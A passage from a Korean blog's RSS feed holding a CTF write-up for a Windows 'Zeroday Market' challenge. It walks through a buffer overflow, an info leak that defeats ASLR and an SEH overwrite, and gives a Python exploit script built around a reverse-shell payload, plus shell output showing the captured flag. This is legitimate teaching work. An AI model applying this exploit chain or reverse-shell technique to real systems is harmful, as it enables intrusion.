181);&quot;&gt;&lt;div&gt;&lt;b&gt;ASLR : ON&lt;/b&gt;&lt;/div&gt;&lt;div&gt;DEP : OFF&lt;/div&gt;&lt;div&gt;&lt;b&gt;STACK COOKIE : ON&lt;/b&gt;&lt;/div&gt;&lt;div&gt;SAFE SEH : OFF&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;ASLR은 메모리 배치를 무작위로 해서 Exploit을 어렵게 하는것이고 Stack Cookie는 BOF를 체크하는 문제입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4가지 보호기법 모두 컴파일러에 기본적으로 적용되어 있는 메모리 프로텍션들입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;하지만 난이도를 조절하기 위하여 일부 보호기법을 해제했습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;문제 컨셉은 제로데이 마켓입니다. (뭘 할까 하다가..)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;sub_401000 proc near&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;var_4= dword ptr -4&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;push    ebp&lt;/p&gt;&lt;p&gt;mov     ebp, esp&lt;/p&gt;&lt;p&gt;push    ecx&lt;/p&gt;&lt;p&gt;mov     [ebp var_4], ecx&lt;/p&gt;&lt;p&gt;mov     eax, [ebp var_4]&lt;/p&gt;&lt;p&gt;mov     dword ptr [eax], 5 ; my_zeroday&lt;/p&gt;&lt;p&gt;mov     ecx, [ebp var_4]&lt;/p&gt;&lt;p&gt;mov     dword ptr [ecx 4], 2710h // 10000&lt;/p&gt;&lt;p&gt;mov     edx, [ebp var_4]&lt;/p&gt;&lt;p&gt;mov     dword ptr [edx 328h], offset sub_401070 // Function Pointer&lt;/p&gt;&lt;p&gt;mov     eax, [ebp var_4]&lt;/p&gt;&lt;p&gt;mov     esp, ebp&lt;/p&gt;&lt;p&gt;pop     ebp&lt;/p&gt;&lt;p&gt;retn&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;우선 구조체를 설정하는 부분입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위를 다시 코드로 정리해보면 아래와 같습니다&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;typedef struct st&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;int my_zeroday = 5;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;int money = 10000;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;  ??? // char description[500]; &lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;  ??? // char name[300]; - 두 값 모두 보이지는 않지만 실제론 이렇게 되어있습니다.&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;void* func_ptr = &amp;sub_401070;&lt;/p&gt;&lt;p&gt;}st;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;sub_401070 proc near&lt;/p&gt;&lt;p&gt;push    ebp&lt;/p&gt;&lt;p&gt;mov     ebp, esp&lt;/p&gt;&lt;p&gt;push    offset aThankYou_HaveA ; &quot;[*] Thank you. Have a nice day\n&quot;&lt;/p&gt;&lt;p&gt;call    _puts&lt;/p&gt;&lt;p&gt;add     esp, 4&lt;/p&gt;&lt;p&gt;pop     ebp&lt;/p&gt;&lt;p&gt;retn&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;구조체 중 Function Pointer를 보면 단순하게 '고맙습니다, 좋은하루 되세여' 라는 뜻의 문장을 출력해주는 함수입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 다음부턴 급 귀찮아지니 우리의 친구 F5를 사용하겠습니다&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(159, 211, 49); padding: 10px; background-color: rgb(231, 253, 181);&quot;&gt;&lt;p&gt;signed int __cdecl sub_401090()&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;  int v0; // eax@1&lt;/p&gt;&lt;p&gt;  void (*v2)(void); // [sp 4h] [bp-370h]@0&lt;/p&gt;&lt;p&gt;  int v3; // [sp 8h] [bp-36Ch]@5&lt;/p&gt;&lt;p&gt;  int v4; // [sp Ch] [bp-368h]@1&lt;/p&gt;&lt;p&gt;  int v5; // [sp 10h] [bp-364h]@6&lt;/p&gt;&lt;p&gt;  char v6; // [sp 14h] [bp-360h]@13&lt;/p&gt;&lt;p&gt;  char v7; // [sp 208h] [bp-16Ch]@13&lt;/p&gt;&lt;p&gt;  void (*v8)(void); // [sp 334h] [bp-40h]@8&lt;/p&gt;&lt;p&gt;  char WideCharStr; // [sp 338h] [bp-3Ch]@5&lt;/p&gt;&lt;p&gt;  char v10; // [sp 33Ch] [bp-38h]@16&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;  v0 = sub_40138A();&lt;/p&gt;&lt;p&gt;  setvbuf((FILE *)(v0   32), 0, 4, 0);&lt;/p&gt;&lt;p&gt;  sub_401000(&amp;v4);&lt;/p&gt;&lt;p&gt;  while ( dword_4154E4 &lt; 30 )&lt;/p&gt;&lt;p&gt;  {&lt;/p&gt;&lt;p&gt;      dword_4154E4;&lt;/p&gt;&lt;p&gt;    if ( dword_4154E4 &gt; 50 )&lt;/p&gt;&lt;p&gt;      exit(0);&lt;/p&gt;&lt;p&gt;    sub_401030();&lt;/p&gt;&lt;p&gt;    puts(&quot;&gt; &quot;);&lt;/p&gt;&lt;p&gt;    sub_40A587(0, (LPWSTR)&amp;WideCharStr, 2u);&lt;/p&gt;&lt;p&gt;    v3 = sub_402175(&amp;WideCharStr);&lt;/p&gt;&lt;p&gt;    if ( v3 == 1 )&lt;/p&gt;&lt;p&gt;    {&lt;/p&gt;&lt;p&gt;      if ( v5 &gt;= 5000 )&lt;/p&gt;&lt;p&gt;      {&lt;/p&gt;&lt;p&gt;        v5 -= 5000;&lt;/p&gt;&lt;p&gt;        puts(&quot;[*] You bought a new 0day! and paid 5000won.&quot;);&lt;/p&gt;&lt;p&gt;        v2 = v8;&lt;/p&gt;&lt;p&gt;        v8();&lt;/p&gt;&lt;p&gt;      }&lt;/p&gt;&lt;p&gt;      else&lt;/p&gt;&lt;p&gt;      {&lt;/p&gt;&lt;p&gt;        puts(&quot;[-] You don't have any money. Go back..&quot;);&lt;/p&gt;&lt;p&gt;      }&lt;/p&gt;&lt;p&gt;    }&lt;/p&gt;&lt;p&gt;    else if ( v3 == 2 )&lt;/p&gt;&lt;p&gt;    {&lt;/p&gt;&lt;p&gt;      if ( v4 &gt;= 1 )&lt;/p&gt;&lt;p&gt;      {&lt;/p&gt;&lt;p&gt;        puts(&quot;[ ] Input Vulnerability Title : &quot;);&lt;/p&gt;&lt;p&gt;        sub_40A587(0, &amp;::WideCharStr, 0x12Cu);&lt;/p&gt;&lt;p&gt;       &lt;b&gt; memmove(&amp;v7, &amp;::WideCharStr, 0x12Cu); // Information Leak&lt;/b&gt;&lt;/p&gt;&lt;p&gt;        puts(&quot;[ ] Input Details about your 0-day: &quot;);&lt;/p&gt;&lt;p&gt;        sub_40A587(0, &amp;word_4151C0, 0x1F4u);&lt;/p&gt;&lt;p&gt;        memmove(&amp;v6, &amp;word_4151C0, 0x1F4u);&lt;/p&gt;&lt;p&gt;        sub_40147B(&quot;[*] Title : %s\n[*] DESC : %s\n&quot;, (unsigned int)&amp;v7);&lt;/p&gt;&lt;p&gt;        puts(&quot;[*] Thank you! you got 3000Won&quot;);&lt;/p&gt;&lt;p&gt;        ((void (__cdecl *)(void (*)(void), void (*)(void)))v8)(v8, v2);&lt;/p&gt;&lt;p&gt;        v5  = 3000;&lt;/p&gt;&lt;p&gt;        --v4;&lt;/p&gt;&lt;p&gt;      }&lt;/p&gt;&lt;p&gt;      else&lt;/p&gt;&lt;p&gt;      {&lt;/p&gt;&lt;p&gt;        puts(&quot;[-] Hmm, I don't have any zeroday..&quot;);&lt;/p&gt;&lt;p&gt;      }&lt;/p&gt;&lt;p&gt;    }&lt;/p&gt;&lt;p&gt;    else&lt;/p&gt;&lt;p&gt;    {&lt;/p&gt;&lt;p&gt;      if ( v3 == 3 )&lt;/p&gt;&lt;p&gt;      {&lt;/p&gt;&lt;p&gt;        puts(&quot;[ ] HELLO? : &quot;);&lt;/p&gt;&lt;p&gt;        &lt;b&gt;sub_40167F(&quot;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;%s&lt;/span&gt;&quot;, (unsigned int)&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&amp;v10&lt;/span&gt;); //&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; scanf BOF!!&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;        puts(&quot;[*] YOU GOT PWNED :)&quot;);&lt;/p&gt;&lt;p&gt;        return 1;&lt;/p&gt;&lt;p&gt;      }&lt;/p&gt;&lt;p&gt;      if ( !v3 )&lt;/p&gt;&lt;p&gt;      {&lt;/p&gt;&lt;p&gt;        puts(&quot;[-] bye&quot;);&lt;/p&gt;&lt;p&gt;        return 1;&lt;/p&gt;&lt;p&gt;      }&lt;/p&gt;&lt;p&gt;      puts(&quot;[?] WTF&quot;);&lt;/p&gt;&lt;p&gt;    }&lt;/p&gt;&lt;p&gt;  }&lt;/p&gt;&lt;p&gt;  return 1;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;우선 코드를 간단하게 정리해보면&lt;/p&gt;&lt;p&gt;처음 메뉴 1,2,3 을 출력하고 각 선택할때 분기문으로 흘러갑니다.&lt;/p&gt;&lt;p&gt;1번 분기는 제로데이를 구입하는것이고&lt;/p&gt;&lt;p&gt;2번 분기는 제로데이를 판매하는데 title과 description을 적습니다. 그리고 임시로 전역변수에 담고 이후 구조체변수에 담습니다.&lt;/p&gt;&lt;p&gt;3번 분기는 제로데이를 마음껏 사용하는 메뉴입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;하나하나 살펴보면..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3번 분기에서 &lt;b&gt;scanf와 %s로 인하여 Buffer Overflow 취약점이 발생하고 Return Address를 덮어쓸 수 있습니다.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;하지만! 아까 처음 보호기법에 의하면 ASLR과 Stack Cookie가 적용되어 있기 때문에, 리턴어드레스를 덮어씌우는 것 만으로는 부족합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;하지만! DEP가 설정되어있지 않기 때문에 쉘코드 실행은 간단하죠!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;하지만! 쉘코드를 어디에 둬야 하는지 약간 의문이 들기도 합니다. 이것에 대한 답은 2번 분기에서 Vuln Title과 Description을 적는곳이 있었는데&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이부분에 잠시 전역변수에 값을 담고 구조체로 옮기기 때문에&lt;b&gt; 전역변수에 쉘코드를 담는다면 다른 메뉴로 가도 여전히 쉘코드가 남아있을 것&lt;/b&gt;입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이때 &lt;b&gt;전역변수의 값은 Base address   offset&lt;/b&gt; 이고, &lt;b&gt;offset은 일정&lt;/b&gt;하기 때문에 &lt;b&gt;Base Address&lt;/b&gt;만 구해주면 문제를 간단하게 해결할 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;또한 이때&lt;b&gt; Base Address는 2번 메뉴의 memmove 함수로 인하여 구조체의 Function Pointer의 값을 유출&lt;/b&gt;할 수 있습니다. (Info Leak)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;마지막으로 &lt;b&gt;Stack Cookie 보호기법이 있기때문에 Return Address의 값을 손상시켜도 EIP가 제대로 컨트롤 되지 않을 것&lt;/b&gt;입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;이는 SEH Overwrite를 이용하여 우회&lt;/b&gt;할 수 있습니다. 간단하게 설명하면 SE Handler 값을 변조시키고 의도적으로 Exception을 발생하면 EIP 변경이 가능합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;자세한건 검색!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;써놓고보니 복잡하지만 다시 정리하면&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;1. BOF 취약점&lt;/p&gt;&lt;p&gt;2. 전역변수에 쉘코드를 담고&lt;/p&gt;&lt;p&gt;3. Info Leak으로 Function Pointer의 값을 유출 시켜 Base Address를 구한뒤&lt;/p&gt;&lt;p&gt;4. SEH Overwrite로 전역변수 위치(Base Address   offset)로 EIP 변조&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위 과정을 거치면 쉘을 딸 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(243, 197, 52); padding: 10px; background-color: rgb(254, 254, 184);&quot;&gt;&lt;p&gt;#exploit.py&lt;/p&gt;&lt;p&gt;from socket import *&lt;/p&gt;&lt;p&gt;import threading&lt;/p&gt;&lt;p&gt;import time&lt;/p&gt;&lt;p&gt;import struct&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;up = lambda x : struct.unpack(&quot;&lt;L&quot;, x)[0]&lt;/p&gt;&lt;p&gt;p = lambda x : struct.pack(&quot;&lt;L&quot;, x)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;def payload():&lt;/p&gt;&lt;p&gt;     # metasploit&lt;/p&gt;&lt;p&gt;     # use payload/window/shell_reverse_tcp&lt;/p&gt;&lt;p&gt;     # bad char : 0x00 0xff 0x0a 0x0d 0x1a&lt;/p&gt;&lt;p&gt;     shellcode =( 삭제 &lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;     result = &quot;&quot;&lt;/p&gt;&lt;p&gt;     result  = &quot;\x90&quot;*50&lt;/p&gt;&lt;p&gt;     result  = shellcode&lt;/p&gt;&lt;p&gt;     return result&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;def bad():&lt;/p&gt;&lt;p&gt;     result = &quot;&quot;&lt;/p&gt;&lt;p&gt;     for i in range(1, 26):&lt;/p&gt;&lt;p&gt;          result  = chr(i)&lt;/p&gt;&lt;p&gt;     return result&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ip = &quot;192.168.0.93&quot;&lt;/p&gt;&lt;p&gt;port = 1337&lt;/p&gt;&lt;p&gt;s = socket(AF_INET, SOCK_STREAM)&lt;/p&gt;&lt;p&gt;s.connect((ip, port))&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;time.sleep(0.1)&lt;/p&gt;&lt;p&gt;print s.recv(2048)&lt;/p&gt;&lt;p&gt;s.send(&quot;2&quot;)&lt;/p&gt;&lt;p&gt;print s.recv(4096)&lt;/p&gt;&lt;p&gt;s.send(&quot;A&quot;*300)&lt;/p&gt;&lt;p&gt;time.sleep(0.1)&lt;/p&gt;&lt;p&gt;print s.recv(4096)&lt;/p&gt;&lt;p&gt;p = payload() &quot;A&quot;*(500-len(payload()))&lt;/p&gt;&lt;p&gt;s.send(p)&lt;/p&gt;&lt;p&gt;time.sleep(0.1)&lt;/p&gt;&lt;p&gt;temp = s.recv(40960)&lt;/p&gt;&lt;p&gt;ptr = temp.split(&quot;A&quot;*300)[1].split(&quot;[*]&quot;)[0].replace(&quot;\x0d\x0a&quot;,&quot;&quot;)[0:4] # RAW memor (leaked)&lt;/p&gt;&lt;p&gt;print temp&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;if len(ptr) == 3:&lt;/p&gt;&lt;p&gt;     ptr  = &quot;\x00&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;print ptr.encode(&quot;hex&quot;)&lt;/p&gt;&lt;p&gt;print &quot;base address : &quot; hex(up(ptr)&amp;0xffff0000)&lt;/p&gt;&lt;p&gt;print &quot;shellcode address : &quot;&lt;/p&gt;&lt;p&gt;shellptr = ((up(ptr)&amp;0xffff0000) 0x151c0 0x20)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.send(&quot;3&quot;)&lt;/p&gt;&lt;p&gt;time.sleep(0.1)&lt;/p&gt;&lt;p&gt;print s.recv(4096)&lt;/p&gt;&lt;p&gt;exploit = &quot;A&quot;*116&lt;/p&gt;&lt;p&gt;exploit  = struct.pack(&quot;&lt;L&quot;,shellptr) # seh overwrite&lt;/p&gt;&lt;p&gt;exploit  = &quot;D&quot;*10000&lt;/p&gt;&lt;p&gt;s.send(exploit)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;s.close()&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;확률은 거의 90% (aslr 때문에..)로 작동합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(254, 137, 67); padding: 10px; background-color: rgb(254, 222, 199);&quot;&gt;&lt;p&gt;C:\Users\sweetchip\Desktop&gt;exploit.py&lt;/p&gt;&lt;p&gt;[-]*********************************************************************&lt;/p&gt;&lt;p&gt;[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)&lt;/p&gt;&lt;p&gt;[ ] 1.BUY ZERODAY&lt;/p&gt;&lt;p&gt;[ ] 2.SALE ZERODAY&lt;/p&gt;&lt;p&gt;[ ] 3.USE ZERODAY&lt;/p&gt;&lt;p&gt;[ ] 0.EXIT&lt;/p&gt;&lt;p&gt;[-]*********************************************************************&lt;/p&gt;&lt;p&gt;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[ ] Input Vulnerability Title :&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[ ] Input Details about your 0-day:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[*] Title : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/p&gt;&lt;p&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/p&gt;&lt;p&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/p&gt;&lt;p&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[*] DESC : 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱柏?$??B?O1r꺜&lt;/p&gt;&lt;p&gt;r캠??塢까??J次.gx蝕?,理?&lt;/p&gt;&lt;p&gt;홃뱩?&lt;/p&gt;&lt;p&gt;DR?눛씵xsN??;㎯!|0?궃ㅨ괺\Td?0?k6?섏}?=}穗???笠잶&lt;/p&gt;&lt;p&gt;렁[?\쎒V盖梓?벣앵E냰?꺢??&lt;/p&gt;&lt;p&gt;j픽]$괼7냟y?樺?}%a곽p?lu?z2 &lt;1???&amp;W힅?2샹-~zT\程Z?:AAAAAAAAAAAAAAAAAAAAAAAA&lt;/p&gt;&lt;p&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/p&gt;&lt;p&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/p&gt;&lt;p&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/p&gt;&lt;p&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/p&gt;&lt;p&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?&lt;/p&gt;&lt;p&gt;[*] Thank you! you got 3000Won&lt;/p&gt;&lt;p&gt;[*] Thank you. Have a nice day&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[-]*********************************************************************&lt;/p&gt;&lt;p&gt;[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)&lt;/p&gt;&lt;p&gt;[ ] 1.BUY ZERODAY&lt;/p&gt;&lt;p&gt;[ ] 2.SALE ZERODAY&lt;/p&gt;&lt;p&gt;[ ] 3.USE ZERODAY&lt;/p&gt;&lt;p&gt;[ ] 0.EXIT&lt;/p&gt;&lt;p&gt;[-]*********************************************************************&lt;/p&gt;&lt;p&gt;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;70101e01&lt;/p&gt;&lt;p&gt;base address : 0x11e0000L&lt;/p&gt;&lt;p&gt;shellcode address :&lt;/p&gt;&lt;p&gt;[ ] HELLO? :&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(254, 137, 67); padding: 10px; background-color: rgb(254, 222, 199);&quot;&gt;&lt;p&gt;C:\Users\sweetchip&gt;nc -lvp 31337&lt;/p&gt;&lt;p&gt;listening on [any] 31337 ...&lt;/p&gt;&lt;p&gt;connect to [192.168.0.93] from [Blind] [192.168.0.93] 62851&lt;/p&gt;&lt;p&gt;Microsoft Windows [Version 6.1.7601]&lt;/p&gt;&lt;p&gt;Copyright (c) 2009 Microsoft Corporation. All rights reserved.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;K:\prob_server&gt;dir&lt;/p&gt;&lt;p&gt;dir&lt;/p&gt;&lt;p&gt; K 드라이브의 볼륨: &lt;span style=&quot;font-size: 9pt; line-height: 1.5;&quot;&gt;[Blind]&lt;/span&gt;&lt;/p&gt;&lt;p&gt; 볼륨 일련 번호: A497-E7DC&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt; K:\prob_server 디렉터리&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2014-11-09  오후 09:02    &lt;DIR&gt;          .&lt;/p&gt;&lt;p&gt;2014-11-09  오후 09:02    &lt;DIR&gt;          ..&lt;/p&gt;&lt;p&gt;2014-11-06  오전 09:50            84,992 brokenwindow.exe&lt;/p&gt;&lt;p&gt;2014-11-06  오전 10:22                45 key.txt&lt;/p&gt;&lt;p&gt;2014-11-06  오전 09:50            75,264 loader.exe&lt;/p&gt;&lt;p&gt;2014-11-03  오전 11:09                32 run.bat&lt;/p&gt;&lt;p&gt;               4개 파일             160,333 바이트&lt;/p&gt;&lt;p&gt;               2개 디렉터리   5,296,316,416 바이트 남음&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;K:\prob_server&gt;type key.txt&lt;/p&gt;&lt;p&gt;type key.txt&lt;/p&gt;&lt;p&gt;flag{Only_True_Love_Can_Break_Frozen_Windows}&lt;/p&gt;&lt;p&gt;K:\prob_server&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Key : Only_True_Love_Can_Break_Frozen_Windows&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;키는 POC 2014에서 passket &amp; SNE, &quot;Only True Love Can Thaw frozen SCADA Systems&quot; 의 발표제목을 참고했습니다. ㅋㅋ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;음...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;끝!! ㅋㅋ&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x15 System</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/363</guid>
      <comments>https://pgnsc.tistory.com/363#entry363comment</comments>
      <pubDate>Sun, 9 Nov 2014 21:27:48 +0900</pubDate>
    </item>
  </channel>
</rss>